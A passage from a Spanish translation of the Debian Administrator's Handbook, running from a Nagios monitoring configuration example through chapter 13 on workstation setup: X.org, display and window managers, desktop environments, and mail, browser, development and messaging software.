command_line /usr/lib/nagios/plugins/check_ftp -H $HOSTADDRESS$ -w 20 -c 30 -t 35

}

# Servicio genérico de Falcot

define service{

name falcot-service

use generic-service

contact_groups falcot-admins

register 0

}

# Servicios a chequear en www-host

define service{

use falcot-service

host_name www-host

service_description HTTP

check_command check_http

}

define service{

use falcot-service

host_name www-host

service_description HTTPS

Page 1586: El Libro Del Administrador de Debian - Raphael Hertzog

check_command check_https

}

define service{

use falcot-service

host_name www-host

service_description SMTP

check_command check_smtp

}

# Servicios a chequear en ftp-host

define service{

use falcot-service

host_name ftp-host

service_description FTP

check_command check_ftp2

}

Este archivo de configuración describedos equipos monitorizados. El primeroes el servidor web, y se realizanchequeos en los puertos HTTP (80) y

Page 1587: El Libro Del Administrador de Debian - Raphael Hertzog

HTTP seguro (443). Nagios tambiénrevisa que el servidor SMTP ejecute enel puerto 25. El segundo equipo es elservidor FTP y el chequeo incluyeasegurarse que responda en menos de20 segundos. Más allá de esta demora,se generará un «warning»(«precaución»); más de 30 segundosgenerará una alerta crítica. La interfazweb también muestra que semonitoriza el servicio SSH: estoproviene de los equipos que pertenecenal «hostgroup» ssh-servers. Elservicio estándar asociado estádefinido en/etc/nagios3/conf.d/services_nagios2.cfg

Verá cómo utilizamos herencia: un

Page 1588: El Libro Del Administrador de Debian - Raphael Hertzog

objeto hereda de otro objeto con lapropiedad «use nombre-padre».Debemos poder identificar al objetopadre, lo que requiere incluir en él unapropiedad «name identificador». Sino deseamos que el objeto padre sea unobjeto real, sino que sólo sirva comopadre, agregar una propiedad «register0» le indica a Nagios que no loconsidere y, por lo tanto, ignore la faltade algunos parámetros que seríanobligatorios.

DOCUMENTACIÓN Lista depropiedades de objetos

Puede obtener información más detallassobre las muchas formas en las que puedeconfigurar Nagios en la documentación

Page 1589: El Libro Del Administrador de Debian - Raphael Hertzog

que provee el paquete nagios3-doc. Puedeacceder directamente a estadocumentación desde la interfaz web conel enlace «Documentación» en la esquinasuperior izquierda. Ésta incluye una listade todos los tipos de objetos así comotambién las propiedades que puedentener. También explica cómo crearnuevos plugins.

YENDO MÁS ALLÁ Pruebas remotascon NRPE

Muchos plugins de Nagios permitenchequear parámetros locales de unequipo; si muchas máquinas necesitanestos chequeos para que los recolecte unainstalación central, necesita desplegar elplugin NRPE (ejecución remota deplugins de Nagios: «Nagios Remote

Page 1590: El Libro Del Administrador de Debian - Raphael Hertzog

Plugin Executor»). Necesitará instalar elpaquete nagios-nrpe-plugin en el servidorNagios y el paquete nagios-nrpe-serveren los equipos sobre los que ejecutará lostests locales. Este último obtendrá suconfiguración del archivo/etc/nagios/nrpe.cfg. Este archivo debeenumerar las pruebas que puede iniciarseremotamente y las direcciones IP de lasmáquinas que puede ejecutarlas. Del ladode Nagios, activar estas pruebas remotases tan simple como agregar los serviciosapropiados utilizando el nuevo«command» check_nrpe.

Page 1591: El Libro Del Administrador de Debian - Raphael Hertzog

Chapter 13. Estaciónde trabajoAhora que ya se desplegaron losservidores, los administradores puedenenfocarse en instalar las estaciones detrabajo individuales y crear unaconfiguración típica.

13.1. Configuracióndel servidor X11La configuración inicial de la interfaz

Page 1592: El Libro Del Administrador de Debian - Raphael Hertzog

gráfica a veces puede ser extraña;tarjetas de video muy recientes muchasveces no funcionan perfectamente conla versión de X.org que se encuentra enla versión estable de Debian.

Un breve recordatorio: X.org es elcomponente de software que permiteque las aplicaciones gráficas muestrenventanas en la pantalla. Incluye uncontrolador que utiliza la tarjeta devideo de forma eficiente. Se exporta lafuncionalidad ofrecida a lasaplicaciones gráficas a través de unainterfaz estándar, X11 (Squeezecontiene la versión X11R7.5).

PERSPECTIVA X11, XFree86 y X.org

Page 1593: El Libro Del Administrador de Debian - Raphael Hertzog

X11 es el sistema gráfico más utilizado ensistemas tipo Unix (también disponibleen, ademàs del sistema nativo, Windows yMac OS). Estrictamente hablando, eltérmino «X11» sólo se refiere a laespecificación del protocolo, pero en lapráctica también se lo utiliza parareferirse a la implementación.

X11 tuvo un comienzo escabroso, peroXFree86 surgió en los 1990s como laimplementación de referencia porque erasoftware libre, portable y mantenido deforma colaborativa por su comunidad. Sinembargo, la velocidad de evolución seredujo hacia el final cuando el softwaresólo obtenía nuevos controladores. Dichasituación, junto con el controvertidocambio de licencia llevó a la bifurcaciónen X.org en 2004. Esta es ahora laimplementación de referencia y Debian

Page 1594: El Libro Del Administrador de Debian - Raphael Hertzog

Squeeze utiliza la versión 7.5 de X.org.

Las versiones actuales de X.org puedendetectar automáticamente el hardwaredisponible: tanto la tarjeta de video y elmonitor como el teclado y ratón; dehecho, es tan conveniente que elpaquete ya no crea un archivo deconfiguración /etc/X11/xorg.conf.Todo esto es posible gracias a lasfuncionalidades que provee el núcleoLinux 2.6 (en particular para teclados yratones), en el que cada controladorindica con qué tarjetas de video escompatible y utilizando el protocoloDDC para obtener las característicasdel monitor.

Page 1595: El Libro Del Administrador de Debian - Raphael Hertzog

Actualmente, la configuración delteclado está definida en/etc/default/keyboard. Se utilizaeste archivo tanto para configurar laconsola de texto como la interfazgráfica y es gestionado por el paquetekeyboard-configuration. Puedeencontrar detalles sobre laconfiguración del teclado en laSection 8.1.2, “Configuración delteclado”.

El paquete xserver-xorg-core provee unservidor X genérico, como el utilizadoen las versiones 7.x de X.org. Esteservidor es modular y utiliza unconjunto de controladoresindependientes para gestionar la gran

Page 1596: El Libro Del Administrador de Debian - Raphael Hertzog

variedad de tipos de tarjetas de video.Instalar xserver-xorg le asegurará quese instale tanto el servidor como almenos un controlador de video.

Sepa que si la tarjeta de videodetectada no es compatible conninguno de los controladoresdisponibles, X.org intentará utilizar loscontroladores VESA y fbdev. Elprimero es un controlador genérico quedebería funcionar siempre, pero concapacidades limitadas (menosresoluciones disponibles, sinaceleración por hardware para juegos,etc.) mientras que el último funcionasobre el dispositivo «framebuffer» delnúcleo. El servidor X escribe sus

Page 1597: El Libro Del Administrador de Debian - Raphael Hertzog

mensajes al archivo de registro/var/log/Xorg.0.log, donde unobuscaría para saber qué controladorestá utilizando actualmente. Porejemplo, el siguiente extracto coincidecon la salida de cuando se carga elcontrolador intel:

(==) Matched intel as autoconfigured driver 0

(==) Matched vesa as autoconfigured driver 1

(==) Matched fbdev as autoconfigured driver 2

(==) Assigned the driver to the xf86ConfigLayout

(II) LoadModule: "intel"

(II) Loading /usr/lib/xorg/modules/drivers/intel_drv.so

EXTRA Controladores privativos

Algunos fabricantes de tarjetas de video(más notablemente, nVidia) se niegan a

Page 1598: El Libro Del Administrador de Debian - Raphael Hertzog

publicar las especificaciones de hardwareque son necesarias para implementarbuenos controladores libres. Sí proveen,sin embargo, controladores privativos quepermiten utilizar su hardware. Estapolítica es nefasta ya que aún cuandoexisten los controladores necesarios,generalmente no están tan pulidos comodeberían; lo que es más importante, nosiguen necesariamente las actualizacionesde X.org, lo que podría evitar que carguecorrectamente (o por completo) el últimocontrolador disponible. No podemosjustificar este comportamiento yrecomendamos que evite a estosfabricantes en favor de aquellos máscooperativos.

Si aún así termina con una de estastarjetas, encontrará los paquetesnecesarios en la sección non-free: nvidia-

Page 1599: El Libro Del Administrador de Debian - Raphael Hertzog

glx para tarjetas nVidia y fglrx-driverpara algunas tarjetas ATI. En ambos casosnecesitará los módulos de núcleocorrespondientes. Puede automatizar lacompilación de estos módulos con lainstalación de los paquetes nvidia-kernel-dkms (para nVidia) o fglrx-modules-dkms(para ATI).

El proyecto «nouveau» intenta desarrollarun controlador que sea software libre paralas tarjetas nVidia. Desde Squeeze, suconjunto de funcionalidad no alcanza alcontrolador privativo. En defensa de losdesarrolladores debemos mencionar quesólo pueden conseguir la informaciónnecesaria con ingeniería inversa, lo quedificulta la cuestión. El controlador librepara las tarjetas de video ATI, llamado«radeon», es mucho mejor en dichoaspecto pero generalmente necesita

Page 1600: El Libro Del Administrador de Debian - Raphael Hertzog

firmware privativo.

Page 1601: El Libro Del Administrador de Debian - Raphael Hertzog

13.2. Personalizaciónde la interfazgráfica

13.2.1. Elección de ungestor de pantallaLa interfaz gráfica sólo provee unespacio en la pantalla. Ejecutarúnicamente el servidor X sólo lellevará a una pantalla vacía, razón porla que la mayoría de las instalacionesutilizan un gestor de pantalla

Page 1602: El Libro Del Administrador de Debian - Raphael Hertzog

(«Display Manager») para mostrar lapantalla de autenticación de usuarios einiciar el escritorio gráfico una vez quese autenticó el usuario. Los tresgestores de pantalla más popularesutilizados actualmente son gdm3(GNOME Display Manager), kdm(KDE Display Manager) y xdm (XDisplay Manager). Debido a que losadministradores de Falcot Corpeligieron utilizar el entorno deescritorio GNOME, lógicamenteseleccionaron gdm3 como gestor depantalla también. El archivo deconfiguración/etc/gdm3/daemon.conf tiene muchasopciones, algunas de las cuales tambiénpuede configurar con gdmsetup, una

Page 1603: El Libro Del Administrador de Debian - Raphael Hertzog

interfaz gráfica para la configuraciónde gdm3 que puede ejecutar desde elmenú Sistema → Administración →Display screen en el escritorioGNOME.

ALTERNATIVA gdm vs. gdm3

Una instalación nueva de Squeezeconfigura gdm3. Por el otro lado, unsistema actualizado a Squeeze desde unaversión anterior de Debian generalmentetendrá gdm (la versión 2.x). La versión 3es una reescritura completa, pero estodavía bastante joven: se eliminaron lamayoría de las opciones provistas por lasversiones anteriores y la interfaz deconfiguración gdmsetup tiene un alcancemucho más limitado. Esto explica porquéambas versiones están disponibles en

Page 1604: El Libro Del Administrador de Debian - Raphael Hertzog

Squeeze. Sepa, sin embargo, que seeliminarán las versiones 2.x en la próximapublicación estable de Debian. Tienesentido anticiparse a la migración einstalar gdm3 directamente si noconsidera importante las característicasfaltantes.

13.2.2. Elección de ungestor de ventanasDebido a que cada escritorio gráficoprovee su propio gestor de ventanas,elegir el primero generalmente implicauna elección de software para elúltimo. GNOME utiliza el gestor de

Page 1605: El Libro Del Administrador de Debian - Raphael Hertzog

ventana metacity, KDE utiliza kwin yXfce (que presentaremos más adelante)utiliza xfwm. La filosofía Unixsiempre permitió utilizar el gestor deventanas que uno prefiera, pero utilizarlos recomendados permite que unadministrador aproveche mejor losesfuerzos de integración que realizacada proyecto.

VOLVER A LOS CIMIENTOS Gestor deventanas

Continuando la tradición Unix de sólohacer una cosa pero hacerla bien, elgestor de ventanas muestra las«decoraciones» alrededor de las ventanasque pertenecen a las aplicaciones queestán ejecutando actualmente, lo que

Page 1606: El Libro Del Administrador de Debian - Raphael Hertzog

incluye marcos y la barra de título.También permite reducir, restaurar,maximizar y esconder ventanas. Lamayoría de los gestores de ventanastambién proveen un menú que aparececuando se pulsa el escritorio de una formaespecífica. Este menú provee una formade cerrar la sesión del gestor de ventanas,iniciar nuevas aplicaciones y, en algunoscasos, cambiar a otro gestor de ventanas(si hay algún otro instalado).

Para los equipos más antiguos, sinembargo, es más complicado ejecutarentornos gráficos de escritorio pesados.En estos casos, debería utilizar unaconfiguración más ligera. Gestores deventanas «ligeros» (con una pequeñacarga) incluyen: WindowMaker (en el

Page 1607: El Libro Del Administrador de Debian - Raphael Hertzog

paquete wmaker), Afterstep, fvwm,icewm, blackbox, fluxbox u openbox.En estos casos, deberá configurar elsistema para que el gestor de ventanasapropiado tenga precedencia; la formaestándar es cambiar la alternativa x-window-manager ejecutando update-alternatives --config x-window-manager.

ESPECÍFICO EN DEBIAN Alternativas

La normativa Debian enumera unacantidad de órdenes estandarizadas paraejecutar una acción particular. Porejemplo, la orden x-window-managerejecuta el gestor de ventanas. Pero Debianno asigna esta orden a un gestor deventanas particular. El administrador

Page 1608: El Libro Del Administrador de Debian - Raphael Hertzog

puede elegir qué gestor de ventanas debeejecutar.

Para cada gestor de ventanas, el paqueterelevante registra el programa relevantecomo una opción posible para x-window-manager junto con la prioridad asociada.Siempre que no existan configuracionesexplícitas por el administrador, estaprioridad permite seleccionar el mejorgestor de ventanas instalado cuando seejecuta la orden genérica.

Tanto registrar un programa comoconfigurarlo explícitamente involucran elscript update-alternatives. Seleccionar adónde apunta una orden simbólica essimplemente cuestión de ejecutar update-alternatives --config orden-simbólica. Elscript update-alternatives crea (yadministra) enlaces simbólicos en el

Page 1609: El Libro Del Administrador de Debian - Raphael Hertzog

directorio /etc/alternatives/ que, a suvez, referencia la ubicación delejecutable. Con el paso del tiempo, seinstalarán o eliminarán paquetes y/o eladministrador hará cambios explícitos ala configuración. Cuando se elimina elpaquete que provee una alternativa, éstaautomáticamente deriva en la siguientemejor opción entre los programasdisponibles que continúan instalados.

La normativa Debian no enumeraexplícitamente todas las órdenessimbólicas; algunos encargados depaquetes Debian deliberadamenteeligieron utilizar este mecanismo en casosmenos directos en los que provee unaflexibilidad interesante (los ejemplosincluyen x-www-browser, www-browser,cc, c++, awk, etc.).

Page 1610: El Libro Del Administrador de Debian - Raphael Hertzog

13.2.3. Gestión delmenúLos entornos de escritorio modernos ymuchos gestores de ventanas proveenmenús que enumeran las aplicacionesdisponibles al usuario. Para podermantenerlos actualizados en relación alconjunto real de aplicacionesdisponibles Debian creó una base dedatos centralizada que registra todaslas aplicaciones instaladas. Un paqueterecién instalado se registra en dichabase de datos y le indica al sistema queactualice los menús correspondientes.El paquete menu gestiona estainfraestructura.

Page 1611: El Libro Del Administrador de Debian - Raphael Hertzog

Cuando un paquete provee unaaplicación que debería aparecer en elmenú del sistema, almacena unaarchivo en el directorio/usr/share/menu/. Dicho archivodescribe alguna de las característicasde la aplicación (inluyendo si es unaaplicación gráfica o no) y su mejorubicación en la jerarquía de menús. Elscript postinstalación de este paqueteluego ejecuta el programa update-menus, el cual actualiza los archivosnecesarios. Este programa no puedesaber todos los tipos de menúutilizados por las aplicacionesinstaladas. Como consecuencia, lospaquetes que pueden mostrar un menúdeben proveer un scripts ejecutable

Page 1612: El Libro Del Administrador de Debian - Raphael Hertzog

para ejecutar con toda la informaciónnecesaria del archivo de menú; el scriptdebe convertir esta información enelementos que la aplicación con elmenú pueda utilizar. Estos scripts defiltro se encuentran instalados en eldirectorio /etc/menu-methods/.

YENDO MÁS ALLÁ Estandarización demenús

Debian provee su propio sistema demenús, pero tanto GNOME como KDEdesarrollaron sus propias solucionestambién. Los dos proyectos acordaron unformato para estos menús — másprecisamente, un formato común para losarchivos .desktop que representanelementos de menú — bajo el proyecto deunificación FreeDesktop.org.

Page 1613: El Libro Del Administrador de Debian - Raphael Hertzog

→ http://www.freedesktop.org/

Los desarrolladores Debian siguieron decerca este proyecto y el sistema de menúde Debian puede generar archivos.desktop. Sin embargo, ni GNOME niKDE utilizan el menú de Debian. Ambosprefieren mantener el control completo desus menús. Aún así, es posible activar unsubmenú «Debian» que contenga el menúoficial mantenido por Debian: enGNOME, el editor de menú (en el paquetealacarte) se encuentra disponiblepulsando con el botón derecho en el menúdel panel y seleccionando luego «Editarmenús».

El administrador también tiene voz enel proceso y en los menús generados

Page 1614: El Libro Del Administrador de Debian - Raphael Hertzog

como resultado. Primero, puedeneliminar un elemento del menú aúncuando esté instalada la aplicacióncorrespondiente simplementealmacenando un archivo vacío en/etc/menu/ con el nombre según elpaquete que provee los elementos adesactivar. Segundo, puede reorganizarel menú y cambiar el nombre oreagrupar las secciones. La definiciónde esta reorganización se encuentra en/etc/menu-

methods/translate_menus y contieneejemplos documentados. Por último,puede agregar nuevos elementos en elmenú, por ejemplo para iniciarprogramas instalados fuera del sistemade paquetes o para ejecutar una orden

Page 1615: El Libro Del Administrador de Debian - Raphael Hertzog

particular como iniciar un navegadoren una página particular. Especificaráestos elementos adicionales enarchivos /etc/menu/local.elemento,que tienen el mismo formato que otrosarchivos de menú disponibles en/usr/share/menu/.

Page 1616: El Libro Del Administrador de Debian - Raphael Hertzog

13.3. EscritoriosgráficosEl campo de escritorios gráficos libreses dominado por dos grandescolecciones de software: GNOME yKDE. Ambos son muy populares. Estoes algo raro en el mundo del softwarelibre; el servidor web Apache, porejemplo, tiene pocos pares.

Esta diversidad tiene un origenhistórico. KDE fue el primer proyectode escritorio gráfico pero eligió lasherramientas gráficas Qt, una elecciónque no era aceptable para una gran

Page 1617: El Libro Del Administrador de Debian - Raphael Hertzog

cantidad de desarrolladores. Qt no erasoftware libre en aquél entonces yGNOME comenzó basándose en lasherramientas GTK+. Qt se convirtió ensoftware libre mientras tanto, pero losproyectos nunca se fusionaron y, encambio, evolucionaron en paralelo.

GNOME y KDE todavía trabajanjuntos: bajo el ala de FreeDesktop.org,los proyectos colaboran en ladefinición de estándares deinteroperatividad entre aplicaciones.

Elegir «el mejor» escritorio gráfico esun tema sensible que preferimos evitar.Simplemente describiremos las muchasposibilidades y proveeremos algunas

Page 1618: El Libro Del Administrador de Debian - Raphael Hertzog

ideas para considerar. La mejor opciónes aquella que tome por su cuentaluego de un poco de experimentación.

13.3.1. GNOMEDebian Squeeze incluye GNOMEversión 2.30, que puede instalar conapt-get install gnome (también puedeinstalarlo si selecciona la tarea«Entorno gráfico de escritorio»).

GNOME es notable por sus esfuerzosen cuanto a usabilidad y accesibilidad.Profesionales de diseño estuvieroninvolucrados en la escritura deestándares y recomendaciones. Esto

Page 1619: El Libro Del Administrador de Debian - Raphael Hertzog

ayudó a los desarrolladores a crearinterfaces gráficas de usuariosatisfactorias. El proyecto tambiénobtiene estímo de grandes miembros dela informática como Intel, IBM,Oracle, Novell y, por supuesto, variasdistribuciones Linux. Finalmente,puede utilizar muchos lenguajes deprogramación para desarrollaraplicaciones que interactúen conGNOME.

A GNOME le tomó bastante tiempoconstruir esta infraestructura, lo quepuede explicar lo que parecería unescritorio menos maduro que KDE. Enparticular, los esfuerzos de usabilidad yaccesibilidad son recientes y sus

Page 1620: El Libro Del Administrador de Debian - Raphael Hertzog

beneficios sólo comenzaron a ver la luzen las últimas versiones del entorno.

Figure 13.1. El escritorio GNOME

Page 1621: El Libro Del Administrador de Debian - Raphael Hertzog

Para los administadores, GNOMEparece estar mejor preparado paradespliegues masivos. GConf gestionala configuración de aplicaciones, untipo de registro que puede consultar yeditar con la herramienta de línea deórdenes gconftool-2. Por lo tanto, el

Page 1622: El Libro Del Administrador de Debian - Raphael Hertzog

administrador puede modificar laconfiguración de los usuarios con unsimple script. El siguiente sitio webenumera toda la informacióninteresante para un administrador quedebe gestionar estaciones de trabajoGNOME:

→ http://library.gnome.org/admin/system-admin-guide/stable/→ http://library.gnome.org/admin/deployment-guide/

13.3.2. KDEDebian Squeeze incluye la versión4.4.5 de KDE, que puede instalar con

Page 1623: El Libro Del Administrador de Debian - Raphael Hertzog

apt-get install kde.

KDE tuvo una evolución rápidabasándose en un enfoce muy práctico.Sus autores obtuvieron muy buenosresultados rápidamente, lo que lespermitió obtener una gran base deusuarios. Estos factores contribuyerona la calidad general del proyecto. KDEes un entorno de escritorioperfectamente maduro con un ampliorango de aplicaciones.

Figure 13.2. El escritorio KDE

Page 1624: El Libro Del Administrador de Debian - Raphael Hertzog

Con la publicación de Qt 4.0desapareció el último problema delicencias de KDE. Se publicó estaversión bajo la GPL tanto para Linuxcomo para Windows (anteriormente, laversión de windows se encontraba bajouna licencia privativa). Sepa que se

Page 1625: El Libro Del Administrador de Debian - Raphael Hertzog

deben desarrollar las aplicaciones KDEcon el lenguaje C++.

13.3.3. Xfce y otrosXFce es un escritorio gráfico simple yliviano, ideal para equipos con recursoslimitados. Puede instalarlo con apt-getinstall xfce4. Al igual que GNOME,Xfce está basado en las herramientasGTK+ y ambos escritorios compartenvarios componentes.

A diferencia de GNOME y KDE, Xfceno tiene como objetivo ser un granproyecto. Más allá de los componentesbásicos de un escritorio moderno

Page 1626: El Libro Del Administrador de Debian - Raphael Hertzog

(gestor de archivos, gestor de ventanas,gestor de sesiones, panel paralanzadores de aplicaciones, etc.), sóloprovee unas pocas aplicacionesespecíficas: un navegador web muyliviano (Midori), una terminal, uncalendario, un visor de imágenes, unaherramienta de grabación de CD/DVD,un reproductor de medios (Parole) y uncontrol de volumen de sonido.

Figure 13.3. El escritorio Xfce

Page 1627: El Libro Del Administrador de Debian - Raphael Hertzog
Page 1628: El Libro Del Administrador de Debian - Raphael Hertzog

13.4. Herramientas

13.4.1. Correo

13.4.1.1. Evolution

COMUNIDAD Paquetes populares

Si instala el paquete popularity-contestpuede participar en una encuestaautomática que informa al proyectoDebian sobre los paquetes más populares.Semanalmente cron ejecutará un scriptque enviará (a través de HTTP o correo)una lista anónima de los paquetesinstalados y la fecha del último acceso alos archivos que contienen. Esto permite

Page 1629: El Libro Del Administrador de Debian - Raphael Hertzog

diferenciar, entre aquellos paquetesinstalados, a aquellos que realmenteutiliza.

Esta información es de gran ayuda alproyecto Debian. La utiliza paradeterminar qué paquetes deben estar en elprimer disco de instalación. Los datos deinstalación también son un factorimportante en la decisión sobre laeliminación de la distribución de unpaquete con muy pocos usuarios.Recomendamos sinceramente instalar elpaquete popularity-contest y participar enla encuesta.

Todos los días se publican los datosrecolectados.

→ http://popcon.debian.org/

Estas estadísticas también puede ayudar a

Page 1630: El Libro Del Administrador de Debian - Raphael Hertzog

elegir entre dos paquetes que, de otraforma, parecerían equivalentes. Elegir elpaquete más popular aumenta laprobabilidad de realizar una buenaelección.

Evolution es el cliente de correo deGNOME y lo puede instalar con apt-get install evolution. Evolution es másque un simple cliente de correo,también provee un calendario, libretade direcciones, lista de tareas y unaaplicación de notas (de texto libre). Sucomponente de correo incluye unpoderoso sistema de indexación quepermite crear carpetas virtualesbasadas en consultas de búsqueda sobretodos los mensajes archivados. En otras

Page 1631: El Libro Del Administrador de Debian - Raphael Hertzog

palabras, se almacenan todos losmensajes de la misma forma pero selos muestra organizados en carpetas,cada una de las cuales contiene losmensajes que coinciden con un filtroparticular.

Figure 13.4. El software de correoEvolution

Page 1632: El Libro Del Administrador de Debian - Raphael Hertzog

Una extensión de Evolution permiteintegrarlo al sistema de correosMicrosoft Exchange; el paquetenecesario es evolution-exchange.

13.4.1.2. KMail

Page 1633: El Libro Del Administrador de Debian - Raphael Hertzog

Puede instalar el software de correo deKDE con apt-get install kmail. KMailsólo gestiona correo, pero pertenece aun conjunto de software llamado KDE-PIM (gestor de información personal:«Personal Information Manager») queincluye funcionalidades como libretasde direcciones, un componente decalendario, etc. KMail tiene toda lafuncionalidad que uno podría esperarde un excelente cliente de correo.

Figure 13.5. El software de correoKMail

Page 1634: El Libro Del Administrador de Debian - Raphael Hertzog

13.4.1.3. Thunderbird yIcedove

Este software de correo, incluido en elpaquete icedove, es parte del conjuntode software de Mozilla. Se encuentrandisponibles varios conjuntos de

Page 1635: El Libro Del Administrador de Debian - Raphael Hertzog

localización en los paquetes icedove-l10n-*; la extensión enigmail gestionala firma y cifrado de mensajes (pero noestá disponible en todos los idiomas).

Figure 13.6. El software de correoIcedove

Page 1636: El Libro Del Administrador de Debian - Raphael Hertzog

Thunderbird es uno de los mejoresclientes de correo y parece ser un granéxito, al igual que Mozilla Firefox.

Estrictamente hablando, DebianSqueeze contiene Icedove, noThunderbird, por cuestiones legalesque detallaremos en la sección

Page 1637: El Libro Del Administrador de Debian - Raphael Hertzog

«Iceweasel, Firefox y otros» másadelante; pero, además del nombre (eíconos), no hay realmente diferenciasentre ellos.

13.4.2. NavegadoreswebEpiphany, el navegador web deGNOME, utiliza el motor devisualización Webkit desarrollado porApple para su navegador Safari. Elpaquete relevante es epiphany-browser.

Konqueror, el gestor de archivos deKDE, también se comporta como unnavegador web. Utiliza el motor de

Page 1638: El Libro Del Administrador de Debian - Raphael Hertzog

visualización KHTML, específico deKDE; KHTML es un motor excelente,como evidencia el hecho de queWebKit de Apple está basado enKHTML. Konqueror está disponible enel paquete konqueror.

Los usuarios que no estén satisfechoscon ninguno de los anteriores puedenutilizar Iceweasel. Este navegador,disponible en el paquete iceweasel,utiliza el visualizador Gecko delproyecto Mozilla, con una interfazdelgada y extensible sobre él.

Figure 13.7. El navegador webIceweasel

Page 1639: El Libro Del Administrador de Debian - Raphael Hertzog

CULTURA Iceweasel, Firefox y otros

Muchos usuarios, sin duda, estaránsorprendidos por la ausencia de MozillaFirefox en los menús de Debian Squeeze.No hay necesidad de entrar en pánico: elpaquete iceweasel contiene Iceweasel,que es básicamente Firefox bajo otro

Page 1640: El Libro Del Administrador de Debian - Raphael Hertzog

nombre.

La razón detrás de este cambio de nombrees el resultado de las reglas de usoimpuestas por la Mozilla Foundation en lamarca registrada Firefox™: cualquiersoftware llamado Firefox debe utilizar ellogo y los íconos oficiales de Firefox. Sinembargo, debido a que estos elementos noson publicados bajo una licencia libre,Debian no puede distribuirlos en susección main. En lugar de mover todo elnavegador a non-free, el encargado delpaquete decidió utilizar un nombrediferente.

Todavía existe el programa firefox en elpaquete iceweasel, pero sólo porcompatibilidad con las herramientas queintenten utilizarlo.

Por razones similares, se cambió el

Page 1641: El Libro Del Administrador de Debian - Raphael Hertzog

nombre del cliente de correoThunderbird™ a Icedove de la mismaforma.

CULTURA Mozilla

Netscape Navigator era el navegadorestándar cuando la web comenzó a llegara las masas, pero fue dejado atrásprogresivamente cuando surgió MicrosoftInternet Explorer. Frente a este fracaso,Netscape (la empresa) decidió «liberar»su código fuente, publicándolo bajo unalicencia libre, para darle una segundavida. Este fue el comienzo del proyectoMozilla. Luego de muchos años dedesarrollo, los resultados son más quesatisfactorios: el proyecto Mozilla llevóadelante un motor de visualización HTML(llamado Gecko) que se encuentra entre

Page 1642: El Libro Del Administrador de Debian - Raphael Hertzog

los más compatibles con estádares. Enparticular, este motor de visualización esutilizado por el navegador MozillaFirefox, uno de los navegadores másexistosos con una base de usuarios quecrece rápidamente.

Squeeze también provee unrelativamente recién llegado alescenario de los navegadores web,Chromium (disponible en el paquetechromium-browser). Google desarrollaeste navegador a un ritmo tan rápidoque probablemente no sea posiblemantener sólo una versión del mismodurante todo el ciclo de vida de DebianSqueeze. Su propósito es hacer másatractivos a los servicios web, tanto

Page 1643: El Libro Del Administrador de Debian - Raphael Hertzog

optimizando el rendimiento delnavegador como aumentando laseguridad del usuario. El código libreque hace funcionar a Chromiumtambién es utilizado por su versiónprivativa llamada Google Chrome.

13.4.3. Desarrollo

13.4.3.1. Herramientas paraGTK+ en GNOME

Anjuta (en el paquete anjuta) es unentorno de desarrollo optimizado paracrear aplicación GTK+ para GNOME.Glade (en el paquete glade) es una

Page 1644: El Libro Del Administrador de Debian - Raphael Hertzog

aplicación diseñada para crearinterfaces gráficas GTK+ para GNOMEy guardarlas en una archivo XML. Labiblioteca compartida libglade puedecargar estos archivos XML y recreardinámicamente las interfacesguardadas; esta funcionalidad puedeser interesante, por ejemplo para losplugins que necesitan ventanasinteractivas.

El objetivo de Anjuta es combinar, deforma modular, todas lascaracterísticas que uno podría esperarde un entorno integrado de desarrollo.

13.4.3.2. Herramientas paraQt en KDE

Page 1645: El Libro Del Administrador de Debian - Raphael Hertzog

Las aplicaciones equivalentes paraKDE son KDevelop (en el paquetekdevelop) para el entorno de desarrolloy Qt Designer (en los paquetes qt3-designer o qt4-designer) para el diseñode interfaces gráficas de aplicacionesQt en KDE.

Las próximas versiones de estasaplicaciones deberían integrarse mejorentre ellas gracias al sistema decomponentes KParts.

13.4.4. Trabajocolaborativo

Page 1646: El Libro Del Administrador de Debian - Raphael Hertzog

13.4.4.1. Trabajo en grupo:groupware

Una edición anterior de este libromencionaba a PHPGroupware, peroeste software ya no se encuentra enDebian… no está siendo mantenidoactivamente y no existe una versióncompatible con la versión 5.3 de PGPque se encuentra en Debian Squeeze,razón por la que el desarrolladorDebian pidió que se eliminara elpaquete.

→ http://www.phpgroupware.org/

También se mencionaba a eGroupware,el cual sigió los pasos de

Page 1647: El Libro Del Administrador de Debian - Raphael Hertzog

PHPGroupware también pero porrazones diferentes. La empresa que lodesarrolla aún mantiene el software,pero ningún voluntario se ofreció paraasegurar que sea mantenido en Debian.Si aún desea utilizarlo, el mismoproyecto provee paquetes Debian.

→ http://www.egroupware.org/

Sin embargo, no todo está perdido.Mucha de las características clásicasque provee el software «groupware»están siendo integradas al software«estándar». Esto reduce la necesidad desoftware groupware específico yespecializado. Por el otro lado, estogeneralmente necesita un servidor

Page 1648: El Libro Del Administrador de Debian - Raphael Hertzog

específico. Un buen ejemplo de talservidor es Kolab, que puede integrarsecon KDE (Kontact, Kmail, etc.), elcorreo web Horde, Thunderbird (através de un plugin) e inclusive conMicrosoft Outlook. Kolab es parte deDebian Squeeze (los paquetes kolab*).

→ http://www.kolab.org/

13.4.4.2. Sistemas demensajería instantánea

Cuando configuramos un sistema demensajería instantánea interno para unaempresa, la opción obvia es Jabber: suprotocolo es un estándar abierto

Page 1649: El Libro Del Administrador de Debian - Raphael Hertzog

(XMPP) y no le faltan funcionalidades.Se pueden cifrar los mensajes, lo cualpuede ser una gran ventaja, y se puedenconfigurar puertas de enlace entre unservidor Jabber y otras redes demensajería instantánea como ICQ,AIM, Yahoo, MSN, etc.

ALTERNATIVA IRC: «Internet RelayChat»

También podemos considerar a IRC enlugar de Jabber. Este sistema está máscentrado alrededor del concepto decanales, cuyos nombres comienzan conun símbolo de numeral #. Frecuentemente,cada canal está dedicado a un temaespecífico y cualquier cantidad depersonas pueden unirse a un canal paradiscutirlo (pero los usuarios también

Page 1650: El Libro Del Administrador de Debian - Raphael Hertzog

pueden tener conversaciones privadassólo entre dos si es necesario). Elprotocolo IRC es más antiguo y nopermite cifrado punta-a-punta de losmensajes; sí es posible cifrar lacomunicación entre los usuarios y elservidor utilizando un túnel SSL para eltráfico del protocolo IRC.

Los clientes IRC son un poco máscomplejos y generalmente proveenmuchas funcionalidades con un usolimitado en un entorno corporativo. Porejemplo, los «operadores» de los canalesson usuarios con capacidad de echar otrosusuarios de un canal o inclusivebloquearlos permanentemente cuandointerrumpan la discusión normal.

Debido a que el protocolo IRC es muyantiguo, hay disponibles muchos clientes

Page 1651: El Libro Del Administrador de Debian - Raphael Hertzog

